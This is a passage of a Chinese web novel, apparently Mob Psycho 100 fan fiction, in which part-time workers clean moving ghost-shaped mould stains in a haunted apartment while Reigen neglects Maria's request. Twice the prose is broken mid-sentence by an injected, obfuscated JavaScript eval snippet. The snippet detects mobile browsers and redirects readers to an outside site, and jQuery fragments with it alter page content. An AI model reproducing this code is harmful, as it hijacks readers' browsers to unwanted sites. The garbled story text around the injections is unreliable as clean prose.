被人感受到的可能是圣洁的科学杀菌之力。 “诶?” 一壮一瘦两个男同事身体出现了细微的僵化。 眼镜推了推眼镜:“怎么可能让质量不统一的灰色杂工来处理有‘棘手真货’的事件啊……那就是真的被诅咒了啊。”他语气有些无奈。 这家伙跟个家政团伙领头一样拍了拍手。 “听好了!绝·对要把霉菌的每个部分都喷到。我们要做的不仅仅是将霉菌擦除,更重要的还是不能让味道留下来,地下室本来就容易潮湿,以后会有霉味的!” 他如此吆喝道,意外的正常让所有人都稍微安定了下来,压制下了对这些污渍的猜测。 * 而不管这些灰色兼职对这玩意儿存在何等想象。 眼镜已经在做着示范的时候提供了一个‘解释’——这玩意儿应该是在除灵成功之后,本地的居民对这里的想象的产物而已。 “它还没有完全成型,只是对人们‘这里多半有什么幽灵吧’……这种想象的响应而已。” 消毒水被喷在了墙壁上,虽然看上去有些不伦不类,但在等待了几分钟之后,墙上的人形竟也出现了轻微化开的痕迹。 比起凶宅里面的幽灵。 这是栋凶宅的认知更难洗去。 人的思念可是具有能量的。 而这就是它的产物,既不是咒灵,也不是幽灵……更像是在成型之前,还能以常理解释的产物。 因为今天是第一天,眼镜看上去也没指望这些才入职的家伙做出什么。 “看到了这个气泡吗?这代表污渍已经开始溶解了。”眼镜说着停下了手里的演示,让每个人都靠近确认这个墙体的状态。 玛利亚新奇地隔着手套触碰那块黑色,软软的,像是摸上了毛绒绒的真菌群,她还想凑近看,被休闲服姐姐给拉走了。 而等到所有人都通过目视和触感明白,这确实是一种霉菌之后。 眼镜才拿出了一张崭新的抹布,直接用力对着污渍的脑袋位置擦了上去——几遍反复之下。 那个看着就让人心生疑虑的人形污渍脑袋,就已经消失了一-大半。 只见和其他的影子挤在一起,一个没有脑袋,站立着的影子看着分外显眼,但眼镜却好像已经习惯了这样的场面。 他扭动地下室的大灯方向,让有些发热的日光灯晒着墙上的污渍,以拇指指着那边的‘无头污渍’。 “流程就是这样,务必要从头部的眼睛开始……确认脑袋被擦除之后,才是心脏和脚,每次都得先将一个部-位完全的擦除,然后再继续。” 应该是这种好似正常,又好像哪里不对头的感觉让人有些心生不快。 休闲服姐姐对他的含糊皱起了眉头:“头部和心脏?为什么?” 眼镜却没有回答,当然,这种无解的感觉也是灰色兼职里的常态——这家伙只是扭头看向几人,将‘事态’控制在了…… 这只是个家政清洁的程度。 “只要在这个阶段将所有污渍全都清除掉之后,我们住在里面,然后传出‘好像已经住进新的住客,并且他们都没什么问题’的传闻的话……这东西最后就会完全消失。” 他的解释非常简单粗暴。 “而我们只需要在每天的日落后,7点到12点来这里工作,其它时间就可以休息了,有什么疑虑吗?” 这么说着,眼镜将用过的抹布丢进了一个大铁桶里,拍了拍这玩意儿,示意其它人干完活之后也将抹布丢在里面,每晚下班的时候集中销毁。 戴着小白帽的玛利亚唰地一声举起了手,但她话还没开口就已经被眼镜按下了静音键——简直就像是抓着她的脑袋让玛利亚180直接回头。 “已经联络到雇主了,今天我会先给你们结清头两天的报酬。”眼镜的眼镜闪过一丝光线(可能是金钱的颜色)。 噢噢噢! 不过玛利亚突然想起了另外一件事。 她不知怎么地就认真了起来——比起这里的真相、眼镜隐约拒绝说明的事情……金发失忆者·笨蛋·乐天派有本能想确认的其他事项。 她唔了一声:“所以,这笔钱是雇主给我的,他想要‘清扫’公寓,对吧。” 没懂她的意思。 “嗯,当然了。” 眼镜只是点了点头。 但他也忍不住纠正:“而且钱不可能让你独吞的,是给‘你们’的。” “啊,我这么说了吗?”玛利亚睁大了眼睛,没意识到自己说了这种话。 其他几个人都不跟年龄最小的她一般见识:“没有喔。”那是休闲服姐姐。 “我怎么知道她说没说。”而光头只是嗤了一声。 * 然后,像是拿玛利亚没办法,眼镜转移了话题:“对了……订的晚饭应该也已经送到了正门那边。” “今天太晚了,而且我们的工作量也绰绰有余……我看看。”他这么伸手看了一眼自己的手表,“这里还有二十六个影子,我们今天先各自清理一个影子作为练习,然后今天就结束吧。” 有了缓冲,所有人都松了一口气。 但玛利亚的心思已经完全飞到晚餐上了,她想也不想就擦掉了其中一个污渍的脑袋。 而做好了所有的前期培训和准备,为期七天,严格来说是七个晚上的工作也就正式拉开了帷幕。 * 第一晚。 因为只是练习,今天的清扫部分工作在九点就结束了。 天早就黑了。 而晚餐则是在他们离开地下室的时候就已经被送到了大门口,由眼镜拿进了公寓—— 虽然只是自称领队,眼镜倒也做得称职。 他们找到了一楼靠近电梯的保安室作为了行动中心,对着扫视着走廊、电梯和楼梯间的监控吃饭。 走在最后进来的光头下意识就想要关门。 被眼镜给阻拦住了,他顶着几人不解的目光将保安室门维持在了打开的状态。 光头肌肉男皱起眉头:“你什么意思?” 对方却没有马上解释,只是先分发便当。 “这之后的三餐便当会在每天的早上送到公寓门口,今天是召集的特殊情况,所以早上一定要起来。”眼镜这么告诉几人,又指向四楼的监控,“今晚我们就住在四楼的房间,我在尽头,你们随便分吧。” 而被发了便当。 玛利亚根本没注意到那边拌嘴的小事,她欢呼一声盘腿坐在了安保室的桌子上,十分挑食地、把饭盒里最贵的炸物和甜品先吃掉了,然后艰难地就着咸菜和眼镜和光头吵架,开始往嘴里塞白米饭。 清洁工作是每天的晚饭时间后,晚上7点开始,在12点下班,然后所有人就可以回到安排的房间休息。 一天干五六个小时,再多的霉菌也就两天可以处理完了。 而这里只有四层楼,每层5间公寓的话——玛利亚、眼镜、光头、神父和休闲服五个人每晚各住一间。 事情就可以在四天内解决。 “(嚼嚼)那白天呢?” “必须待在公寓里,毕竟这个薪资,就是要让你们稍微安分一点,没问题吧?”眼镜说,“……而且晚上未必能睡。” 听到他语焉不详的说辞。 几个人都没了胃口。 但玛利亚缺乏不快的情绪,因而更加无法共感别人内心的忧虑,所以只有她吃得很香。 旁边的休闲服姐姐正好把自己的便当也给了她,说是要节食,自己吃起了配餐里的面包,不过更可能是觉得空气有些沉重,没什么胃口。 而眼镜已经举起了三根手指:“我知道你们的疑惑,恐怕有人会问,清理只需要两三天,而住在这里只需要四天,为什么工作需要七天?晚上又为什么没法入睡呢?” “我!”玛利亚举起手。 此刻,她一贯笑眯眯的脸上投下阴影,表情变得锐利了起来,神色凝重,玛利亚了然地点了点头…… “……果然是为了当薪水小偷吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048860|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她没拿筷子的那边手想也不想就比了个金钱手势。 这次轮到休闲服姐姐直接给了她头顶一手刀。 而眼见话题没顺着他想的方向走,眼镜中年人咳嗽了两声,直接无视了玛利亚:“这就涉及到一个很重要的事情了,总之,需要大家在这七天小心一点,我之前也说过吧,按照我的指示行动。” ——在这里住着的七天,所有人都需要遵守一些特殊的规则。 说是一些。 其实也就只有两、三条。 其一。 在日落之后,确保所有的灯都是打开的。 其二。 有人在的房间不可以关门。 其三。 如果出现了某处灯被关闭的情况,就需要2人一组,重新将其打开。 * 听到这种莫名其妙的规矩,光头看上去有些生气:“这就是你之前非得开着门的理由?不会是故意刁难我们吧。” 但工作已经开始,上了贼船,他倒不像之前那样一点就炸。 可能这就是职业吧…… 玛利亚心想。 真不愧是有那么多名讳的人,真了不起。 “地下室那种霉菌喜阴。”而眼镜答得倒是爽快,虽然并不是光头男想要的回答。 他避开了对于开关门的疑虑,只点出一点——这是避免有无法发现的霉菌滋生,所以天黑之后,也要尽量将整栋楼里,所有的灯都点亮。 这显然无法解释,为什么关灯之后需要二人一组重新点亮,也不能挥去这里带来的诡异感。 ……但这至少是个过得去的说辞,所以大家都接受了。 休闲装姐姐只是对必须敞着门非常没有安全感:“……我不想敞着门休息。” 不如说对着陌生的环境和陌生的同事,将公寓门大敞着正对着走廊根本不可能睡着。 眼镜没有回答她的问题,只是奉劝道:“那你可以关门,如果出了什么事情的话,我们也无法第一时间到你的房间提供协助。” 休闲装姐姐不说话了。 “那两人一组呢?”神父搭腔。 而眼镜只是指向了这里房间内,照明开关的位置。 只见——不知道是这栋建筑返修之后的改动,还是它一开始就是这样。 这栋建筑所有的照明开关,都设置在房间的内部,离门有一定距离的地方。 光头皱起眉:“也就是说……” “嗯。” 眼镜点了点头。 “也就是说,如果哪里的灯灭了的话。” 不管是走廊、房间、或是什么地方……只要有灯熄灭,陷入黑暗的话。 “二人组里,有一个人必须进入关灯之后的漆黑区域,才能重新将灯泡打开。” 神父歪着脑袋:“这么一说的话,我们其实根本没法睡啊。” 毕竟如果要监视整栋楼夜里的照明情况,必须得有人守在保安室不说,还得随时有额外的两个人待命去开灯。 而眼镜只是安慰。 “电路都是翻新过的,没有那么容易坏。”他低声劝告,“而且,虽然不属于硬性规定,但一旦出现了需要两两一组的情况,同行的两人最好先互相确认完真名,再打开灯。” 从清理地下室的污渍。 到现在,为了预防别的地方也长出霉菌做预防。 到二人一组必须报出姓名,确认身份再开灯。 ……疑惑的累积让玛利亚也忍不住皱起了眉头。 “——为什么非得确认身份不可呢?” 玛利亚将吃完的空便当放在一旁,举起了手。 她语气有些迟疑:“而且名字…… 她话没说完就被总是在不满的光头抢过了话题,那家伙以‘你竟然真的有在思考’的目光扫了一眼玛利亚。 虽然不懂。 但感觉被夸奖了。 玛利亚嘿嘿了两声。 “我拒绝在这种地方称呼真名。”光头男歪着脑袋,“名字是有力量的,反正要确认身份代号也可以吧。” 而眼镜和玛利亚的呼应声几乎是同时响起。 “——就是因为名字是有力量的,所以才可以用它确认身份。”这是语气严肃的眼镜。 玛利亚则是非常烦恼:“……可是光头先生的名字是第三十代天台宗的训诫僧,专门处理难以直接超度的恶灵的灵能力者,将北海道雪巫收服、又获得了灵能协会的认证,计算机四级,通过了恐山试炼,英语实用会话6级,达成了悟道准入许可的超觉者,认知之外的达者……感觉很难背得下、” “——我有名字!”光头男头冒青筋,一脸在可能存在的异常之前,自己就干脆掐死玛利亚算了的表情,“够了,你不要再说那个称呼了……” 比起受到凶宅的惊吓,他看上去几乎要脱力了。 而感觉人群里气氛好了一些。 玛利亚的心情欢快了起来。 7. 凶宅获取2 虽然多少有点上了贼船的感觉,但遵守着眼镜的说辞,几人还是交换了姓名。 第一个晚上和第二个晚上。 风平浪静。 人形污渍残余数:18. 玛利亚的存款:今日增加6万日元,算上第一天,结余12万日元。 夜间的清理工作很顺利,二十多个黑色人影一晚上就被清理掉了七八个,地下室只剩下十八个凝固在原地的身影。 他们一开始还打算两人一组值夜,但因为什么都没有发生,所以也就这样睡了过去。 而值得一提的事情只有白天,在闲得过分的时候几个兼职在工作之余的闲聊。 * 眼镜去确认整栋公寓的电路系统安全了。 两根香烟之余,光头和神父已经聊了起来,虽然玛利亚根本搞不懂佛教徒和基-督徒的鸡同鸭讲到底有什么意义。 而玛利亚则是坐在阳台的栏杆上,将一半身体都探出楼宇,脚放在栏杆外晃荡——其它几个人本来想要阻止她来着,但看玛利亚毫不在意的样子,倒也歇了心思。 “所以,玛利亚是为什么要做这行呢?不是失忆了吗。”刚说完自己家里那个成了植物人的母亲,休闲服姐姐将胳膊和脑袋搭在栏杆上,倚靠着和她一起等待天黑。 玛利亚饿得过分,啃着今天的披萨说话,含含糊糊:“一方面是需要钱(嚼嚼)和住的地方……而且我(嚼嚼)需要找一个东西。” 因为被灵幻警告过。 是以,虽然不太明白这里到底有什么需要操心的,玛利亚对找钱箱这件事选了个含糊的说法。 (当然,更可能的情况,是很明显有需要操心的事情但她根本不操心。BY.灵幻) 那边的神父已经听到两人的闲聊,倒是有了好主意:“这样啊……我倒是有个情报的好来处。” 之前他不是说过关于灰色兼职的经理人吗? 神父一副颇有经验的样子,举起了一根食指。 “因为掌握着全国各地的情报网,如果要找东西或是人的话,我想那里也是个好去处,不过应该得以工作交换情报。”不过这么说着,他也看了玛利亚一眼,“……对了,玛利亚酱,你成年了吗?” 他盯着蓄着乱糟糟金发的直觉系生物——以身量来看,玛利亚应该是介于十七八到二十之间。 当事人抓了抓自己的头发,歪着脑袋:“……我也不太清楚。”她指了指自己的脑袋,“不过我感觉自己的年龄应该很大了。”玛利亚双手抱胸,非常得意洋洋,“时光的智慧?总之,就是有那种感觉吧。”她摇了摇食指。 玛利亚显然是膨胀到了极点。 之前遇到的高僧说过对玛利亚一见如故,总觉得她很有慧根,一看就是接受过神佛的光芒沐浴的样子。 那个占卜师也说她是有缘的人。 几个‘同事’都露出了完·全没感觉到的神情。 神父只是尴尬笑了两声:“哈哈,是吗……”他打算之后都不要把玛利亚说的话当回事了。 “切,那不就是小孩子的那边吗。”光头更是嗤了一声,露出了嘲笑。 休闲服姐姐只是撑着自己的脸拖长了声音,她似乎是打算说什么:“那这样的话,玛利亚最好找个代理的成年人替你跟中介交涉、筛选灰色兼职的工作,如果你不介意的话,我也可……” 但话到了一半又打住了,玛利亚看见她轻轻摇了摇头。 “……总之找个你信任的人,直接和他们来往的话,玛利亚这样很容易被人利用。”那姐姐叹了口气,直接站直了身体,用力戳上了玛利亚的脸。 脸被戳成了变形的馅饼。 玛利亚还没给出回答,她啊了一声,正想从口袋里摸出灵幻新隆的名片—— “还要偷懒到什么时候。”眼镜已经将楼里所有的灯光打开,回到了三楼,他叫住了还在看着夕阳的几人,“今天可以开始了。” * 第三天。 人形污渍残余数:18 玛利亚的存款:今日增加6万日元,损失1万日元,结余17万日元。 * 这天早晨。 一楼公寓门廊墙上,出现了一个印在楼梯口的人形污渍。 是发放早餐的时候,玛利亚发现的,着急忙慌往地下室行动的金发打工仔看见墙上印着的黑色影子,啊了一声。 肩膀被扒开——光头直接越过了玛利亚,看向了墙面。 简直像是嘲笑几个灰色兼职的努力一样。 不详的黑色直接染上了一楼,就在几人去往工作地点的楼梯墙壁上,和人们对上了视线。 几人交换了一个眼神,一时半会得不出答案……只能去地下室看看了。 但刚来到通往地下室的楼梯间就出现了困难。 楼梯间陷入了一片漆黑。 这很不正常。 即便现在是早上,通往地下室的路径,也因为无法被阳光照射,必定被维持在灯光常亮状态才对。 看着黑洞洞的楼梯口,几人都陷入了沉默。 只有眼镜语气平常:“不下去看看是不行的吧?” 几个人互相看着眼色还在犹豫,但玛利亚已经啥也没想地踩下了楼梯。 她金色的头发被漆黑所淹没,安静了好一会儿也没有动静。 休闲服姐姐紧张了起来,面上忍不住露出了后怕:“……该不会、玛!”但还没来得及焦急确认她的安全。 “~我的名字叫什么~”黑暗里已经传来了当事人玛利亚毫无紧张感,跑着调的哼哼声音,“啊、对了,那个那个那个开关在哪边?我还没摸到噢先不要叫名字……”和毫无紧张感的嘀咕。 光头松了口气:“@#!……%少在这里吓人你这个笨蛋!没事就赶紧出声!” 一个金发脑袋从黑暗里伸-出,显然是没听清楚光头着急下说了什么:“嗯?” 玛利亚像是被斩首一样将脖子卡在了明暗分-界-线——她完全没看懂剩下几人又惊魂未定,又无语的表情。 ——然后就被塞回了黑暗里。 但总之,灯重新被打开了。 他们终于来到了通往地下室的走廊。 * 还没进去,几人就已经搞清楚了情况——楼上出现的那个并不是‘新增加’,从哪里‘长出来’的霉斑。 恰恰相反。 霉斑的总数量没有增加,反而在减少。 像是被罩在玻璃瓶里的蟑螂总数突然减少了一半……有几个人影诡异地消失了。 明明昨晚下工的时候他们还亲眼确认过,地下室应该剩下18个人形,但这会儿,视野里却只剩下了9个不详的黑色斑纹,还有9个不知所踪。 不仅如此,它们还移动了。 被点亮的楼梯间里,墙壁上已经出现了三四个位置变动到这里的黑色人影。 几个打工仔跟在急匆匆往地下室前进的玛利亚后面,忍不住看向狭窄走廊两侧或是飘在半空中、或是‘摸上’扶手、佝偻着身体或直立站着,几乎是在和人群对视的霉斑。 简直像是有谁走在走廊里,往楼梯间前进,试图通过这里去往某个地方。 ……而他们的身影被灯光照着,永远印在了墙上。 那真的是‘长出来’的霉斑吗? 被炸起了鸡皮疙瘩。 几人的理智轻易就能得出与之相反的答案。 不。 恐怕是‘移动’到这个位置的吧……?它们自己。 而它们到底又是往楼上的什么方向移动呢? 闻到了黑暗走廊里的霉味。 ……可能也有诡异出现的,被凝视的感觉。 不敢多加仔细思考,光头、神父和休闲服姐姐都陷入了沉默,只是屏住呼吸,和这些诡异的家伙擦身而过。 玛利亚走在前头,目标明确地准备焦急前进,地下室内部进发,还没踏进去。 就被一对手把着自己的胳膊架了起来,本来潇洒进发的脚步一下子就变成了踩着空气的有氧健步运动。 “……等等,我还要看、” “你给我消停点。” 是光头。 只见光头皱起眉头,将玛利亚(移动棋子版)放到了队伍最后,交给了神父。 那位瘦削的成年人对玛利亚笑了笑:“这里先交给成年人吧?” 而等撒开了手,光头才看向旁边的资深者眼镜,当然,这可能更靠近逼问:“喂、不是说只是需要阻止这东西蔓延而已吗?” 后者没有回答。 只有旁边的休闲服姐姐跟个老油条一样垂头丧气,嘀咕的时候,嘴里几乎要吐-出灵魂:“啊啊、果然是‘灰色’啊……总感觉就应该会出现这种事情,我就知道我就知道。” 然后她这才提起精神,瞥向玛利亚,一副‘谢谢你的参与,但是笨蛋已经可以不需要思考了’,示意玛利亚给嘴上拉上拉链。 “玛利亚,现在开始听我们的指挥,明白了吗?” * 几个大人让玛利亚在地下室外等待,自己则进入了每晚开工的房间。 几下清点之后,他们终于还是得出了自己不想认知到的结论。 地下室的灯坏了两个。 ——光头检查了一下。 “灯泡老化。”他得出结论。 休闲服姐姐有些不安地抱着自己的双臂:“……这公寓不是才翻新过吗?”灯泡应该也是新的吧,怎么会坏得这样快。 没有回答。 他们又把视线移向现在一半亮着,一半漆黑的地下室墙壁——第一天还十分亮堂的地下室此刻已经出现了无法被照射的死角。 人影果然也消失了一-大半。 而剩下的九个人影里。 除开一个在一楼,四个在他们刚才路过的楼梯间,之前被地下室过强的日光灯照射着的影子……只剩下四个还留在这面墙上。 而它们也都离开了它们原本的位置,出现了微妙的姿势、位置的变动。 基本每个影子都往远离光照的方向前进了一两米。 “会不会是什么田螺姑娘……”神父比着阿门祈祷了一下。 光头则完全不报那种期待:“你信吗?”他把手里坏掉的灯泡一丢,啪地一声砸到了眼镜的脑袋上,“喂——”这个僧侣说话跟个流-氓一样,“别愣着,你倒是解释一下啊!?” 而那家伙没有回答,只是示意几人回到保安室。 他们是在调取了监控之后才知道的,楼梯间的灯是在昨晚凌晨四点熄灭的,而地下室则是之后的半个小时。 几人没在视频里目击到黑影‘移动’的瞬间,只发现了夜视功能差劲的录像界面黑了下来——等镜头调整到夜视模式的时候,墙上已经是早上这个样子了。 玛利亚歪着脑袋,看了一眼眼镜,又看了一眼监控电视机,唔姆了一声。 而负责值夜的神父脸色煞白,睡意早已消失:“我以为没事就睡过去、” 之前被固定在墙上的污渍消失了大半、莫名变换了地点的霉菌……他怎么会知道只是让灯熄灭而已就会发生这种事情!? * 但说这个已经晚了。 紧张了起来,光头直接重新从四楼开始,带着所有人检查起了整栋楼,试图找到其它逃逸的阴影——但是非常可惜,不管他如何巡逻,将每一扇门打开检查,都没有找到失踪的那9个。 于是三人第一时间就找上了还在保安室的眼镜。 “喂!这是怎么回事!”肌肉男第一时间就抓着眼镜的衣领把他拎了起来。 玛利亚跟着比手画脚。 “没事,先把还在这里的污渍清理掉吧。”而被提起来的眼镜倒是非常平静,他示意几人今天先把一楼和靠近楼梯的几个污渍清理掉,按照工作量来说,今晚努力一下清理掉九个不成问题。 “不如我们现在就要把它清理……”休闲服姐姐思考了两秒。 “这也是禁止事项。” 她皱起眉头:“凭什么!?” 而神父神情紧张:“那不见的那9个呢?”比起看得到的,他明显更关心已经看不到的那边。 “唔姆……!(确实……!)”就连玛利亚都露出了确实如此的表情。 但即便是这么询问。 眼镜还是只是给了他们过于敷衍的答案:“等出现的时候清理掉就行了。” “那你倒是说它们会在哪里出现?” 没有回答。 眼镜提起了嘴角:“只是霉菌而已吧,而且你们不是碰过吗,喷上消毒水和抹布就能清理掉。。” “会动就是另外一件事了!谁知道它们会干什么!?” “可以消除……” “够了!” 眼镜仍然试图稳定下场面,他看上去反常地并不焦急,但所有人都不再对他‘可以清理’‘等出来就好’买账了——现在的情况再明显不过。 那些影子和其它离开地下室的霉斑一样,移动到了人们看不到的地方? 为什么?它们是什么?它们想做什么? 这些问题塞进了几个打工仔的脑袋,而不信任更是让气氛变得更加紧张。 “该不会是跑到外面去了吧?”神父还带着些庆幸。 “它们不会出去的。”眼镜老神在在地回答。 于是就连脾气不错的神父也着急了起来:“——你到底有多少没告诉我们!?” “唔姆唔姆。”金发的身影跟着一起比手画脚。 “……只要清理掉就可以了。”被勒得咳呛,眼镜仍是这样坚持,他用力挣脱了几人的手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048861|148999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>而休闲服姐姐已经很有‘职业精神’地举起了手,她考虑清楚了:“我柜子动了,我不干了。”这么说着,她就打算回房间收拾自己的行李,“我能接受开着门休息,也能接受得熬夜清理这种奇怪的东西,但前提是没有这种情况吧?” 本来就需要维持着有人的房间开门。 现在还有这种在墙壁上胡乱移动的黑色人影,还不知道它们去了哪里会在哪里出来……想也不要想。 她不干了。 “——那可不行。”而眼镜想也不想就阻止了休闲服的提议,“大门和天台已经被锁上了,而且只是两天的费用根本没法‘回本’吧。” 除了玛利亚之外的几个人都皱起了眉头。 神父:“你什么意思?你把门锁上了、一开始没有说好这种事吧!?”他语速变得飞快。 “你不会以为门就可以拦住我们吧。”而光头哼了一声,“把一楼走廊的防护网撬开就可以离开了。” 而休闲服姐姐的脑袋转得很快:“而且、不是一日三餐会在早上的那个时候送过来吗,我明天的早上走可以吧!?” “没用的。”眼镜摇了摇头。 他说完这句之后就不再解释,也不和任何人说话了,只是扯起嘴角笑了笑。 气得够呛。 “玛利亚。”休闲服姐姐向玛利亚伸手,“你也跟我一起走。” 而直到此刻仍没跟上几个人紧绷的神经,玛利亚以两只胳膊比出了一个叉,她态度鲜明地比出了拒绝。 但此刻,比起玛利亚态度鲜明的拒绝和场内出现的怪异现象,另外一件事更引人注意。 几个成年人,包括那边的眼镜都看了过来。 * “……你那是什么毛病?”光头额头冒起青筋,看向了这边闭着嘴巴以唔姆声说话的玛利亚。 沉浸在过度的角色扮演里,玛利亚指了指自己脸上不存在的‘拉链’。 光头一拳就砸在了她的脑袋上。 “帮不上忙就算了!给我认真一点——” 反倒是玛利亚摇摇头,然后她露出想到什么的表情,点了点自己的嘴巴。 之前让她拉上拉链的休闲服姐姐长叹了一口气:“不是,为什么要对这种话这么认真……算了,你可以说话了,玛利亚。” “毕竟是约定吧?”玛利亚歪着脑袋,“我有想要帮忙,是你们不要听我说话的。”她倒打一耙的功夫学得很快。 神父一手抚着自己的额头:“……玛利亚酱,现在需要认真起来了。”陷入了焦躁,他看上去显然对玛利亚吊儿郎当的态度开始产生了不满。 “我当然有认真。” 这么说着,感觉到了非常浅淡,让自己有些陌生的焦躁情绪,无法理解这些成年人到底在害怕、紧张什么……金发笨蛋鼓起脸颊,双手插在兜里。 “我都找到了那些东西在哪里了。”虽然自己没察觉,但她说得有些委屈。 我可是很认真的——!虽然看上去好像会和别人不太一样。 她憋得好辛苦! 几人的脑袋飞快转向了她。 但是看大家好像很有参与感地在到处搜索……他们是不是不想那么简单得获得谜底啊? 产生了这种猜测。 所以玛利亚决定听话,姑且先乖乖闭上了嘴。 * ——而几人好像这才意识到玛利亚身上那种微妙的异质感。 但现在不是追查这种事情的时候。 第三十代天台宗的训诫僧……以下略压制住了无力感:“你这家伙开不合时宜的玩笑的毛病……算了。”他像是探照灯一样提起了玛利亚,“在哪里?” 而金发探照灯也不愧于她的设定,指向地下室的角落。 看到那边的情况……几人都恍然大悟地啊了一声。 那是大灯被破坏之后,灯光的死角之一,此刻沉在黑暗中的,是将整栋公寓联通的中-央空调通风管道。 它非常狭窄,几乎只能让一两只家猫穿行,但将管道截面打开的话,面积却绝对有一个人影宽。 而此刻。 不管是通风管道的罩网还是它的内部。 都沉在了一片黑暗中。 “……之前都没注意到。”休闲服姐姐喃喃自语,然后看向了玛利亚,表情有些复杂。 能观察到细节,但是偏偏搞不懂气氛和人心到底是什么问题呢?这种人性上的微妙缺陷到底是怎么回事? 不过那个姐姐的问题还没问出口。 反而是被当探照灯举着的玛利亚此刻露出了少见的负面情绪,只是低声嘟嘟囔囔着什么:“因为……掉进去了。” 几人升起了疑惑,凑近了她。 然后才听清楚她说的话。 ……昨天下工数钱的时候,不小心掉进去了一张。 她的福泽谕吉(*一万日元上面印着的人像)。 玛利亚露出了迷之沉痛的神情,就像是神父失去了耶路撒冷,光头没了那些Title一样冰冷,所以她今天早上一-大早就想确认钱是不是还在里面,着急想要下去却被直接抓住了领子…… 对她这种奇怪的好运和倒霉的财运失去了力气,那位不知道自己被腹诽了的光头啧了一声:“这么爱掉钱,你的钱包是有洞吗!?” 他看上去是暂时放弃了追究玛利亚那种异质感的根源。 不懂就不懂吧。 “我也不想的啊——可是它就是会消失,而且昨天晚上还差点烧起来,我吓死了!”而被抓着的金发笨蛋则是挣-扎了起来。 “稍微因为这里是凶宅害怕一点!” “只是墙上有奇怪的人形而已,那些街上的高中生不是整天说着什么‘看看我的动态壁纸、我这个会动噢’之类的话吗!”换个角度思考的话,这也只是动态壁纸而已吧……那有什么好怕的! 光头皱起了眉头,本来歇下的心思又升了起来: “……你……”脑袋该不会真的有洞吧? 但因为玛利亚帮上了忙,也不是逃避劳动的家伙,所以光头只是随着一声叹息,敲了敲她的脑袋:“之后绝对要好好交代你这个奇怪的状况!” 但现在还是先顾着面前的事情吧。 玛利亚没能弄明白那种腹诽,物理性带着洞的脑袋上只是冒出了一个几乎清晰可见的问号。 * 而这边厢,玛利亚、光头、神父和休闲服姐姐自觉颇有进展,剩下需要思考的问题就是怎么把它们清理掉了。 但那眼镜却只是笑了笑,摇头嘲笑了起来:“都说了没用的。” ……那是什么意思? 而这天晚上。 一只落单的污渍出现在了神父的房门外,一个歪着脑袋的黑色人形霉斑被印在了二楼的墙上,它伸着手指。 是个按门铃的姿势。 8. 凶宅获取3 凶宅之外。 说实话。 某位良心为0的超·能力者灵幻新隆是在玛利亚离开的三天之后……才想起的她的委托。 不知道最近是走了什么好运——明明之前基本上接触的都是订阅2000円、5000円套餐的顾客。 这几天,[灵幻咨询室]却突然多了很多动辄就是上万,但基本上都没有需要处理的灵——还包三餐和交通费的委托。 今天茂夫和弟弟影山律约好了要和社团的朋友去卡拉OK,所以决定先来事务所打个招呼,确认没有需要帮忙的事情就离开。 结果一来就看到了灵幻新隆正在无所事事。 “噢!是茂夫啊——”灵幻哼着小曲擦着玛利亚给的那个陶壶,对他要去玩的事情乐见其成,是以只是坐在转椅上对弟子摆了摆手,“去吧去吧,反正最近也不会有什么麻烦的事情,我能解决的,律也是,好好玩噢~” 一直认为灵幻就是招摇撞骗的家伙,律维持着礼貌权当自己没听到。 而寄住在影山家的前怨灵(已接受物理的心灵改造)、小酒窝则是好奇地看向了灵幻,他早听过影山茂夫说过玛利亚的事情。 绿色的鬼火状幽灵绕着灵幻手上的壶转了两圈:“诶……这就是那个壶啊。”声音像是大叔的‘吉祥物’伸-出两只小手摸着自己不存在的下巴,仔细打量着壶上的力量,像是已经分析出了这个力量的源头。 它想也不想就扬起了笑容:“噢噢、茂夫,这可是Ka……” 不过非常可惜。 在这个前怨灵打算说出什么之前。 对做坏事非常敏感的影山茂夫已经一手抓住了鬼火幽灵尖状的脑袋,毫不留情地把它当成沙袋抡在了墙上。 教训完家里不听话的怨灵。 虽然一开始没打算催促,但面无表情的中学生只是看了一眼那边乐淘淘的灵幻,最后还是忍不住问出了口:“师匠,玛利亚小姐的事情……没有进展真的没问题吗?不是说好了要替她找自己的、或者是高野山那边的情报吗。” 他语气一如既往地平淡,但已经带上了微妙的疑惑和不赞同。 等到玛利亚小姐买了电话联络的时候,再告诉她没有任何进展不会太过分了吗。 “师匠,你该不会打算到时候编理由敷衍玛利亚小姐吧。” 灵幻打了一个激灵。 之前还沉浸在得意忘形里面的灵幻浮夸地咳嗽了两声:“我、我当然早就着手调查了!”他语气先是如同‘我已经出门了!’一样慌张,然后很快变成了胸有成竹,“大人当然有大人的手段——我也已经找可靠的人脉、对!” 看到他坐在办公桌后比手画脚,影山律和小酒窝脑袋背后都闪过了无声却无比响亮的—— ‘看来是真的没有开始工作啊,这个奇怪的人(假货)。’ “可靠的人脉?” “对对、你知道的……我有一个朋友,咳咳,他对于高野山上的各种神社可是非常了解的……要知道那边最近发生的事情还有相关情报就是一个电话的事情。” 你说的这个朋友是不是自己? 懒得吐槽这家伙拙劣的表演,等在办公室入口、茂夫的弟弟——作为优等生的影山律则是叹了口气:“高野山是以佛教著名的山吧。” 律歪着脑袋,看着那边兀自起劲的两人一灵。 “那上面怎么会有神社啊,整个山脉在佛教传进来之后就已经成为只有佛教寺庙的灵山了。” 